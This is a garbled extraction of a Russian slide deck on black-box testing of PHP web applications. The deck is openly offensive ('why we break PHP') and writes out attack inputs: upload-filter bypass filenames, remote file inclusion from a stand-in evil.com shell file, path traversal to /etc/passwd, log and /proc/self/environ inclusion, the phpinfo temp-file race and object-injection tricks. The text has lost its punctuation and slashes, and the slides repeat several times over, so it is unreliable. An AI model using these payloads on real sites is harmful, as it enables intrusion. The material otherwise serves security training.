Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
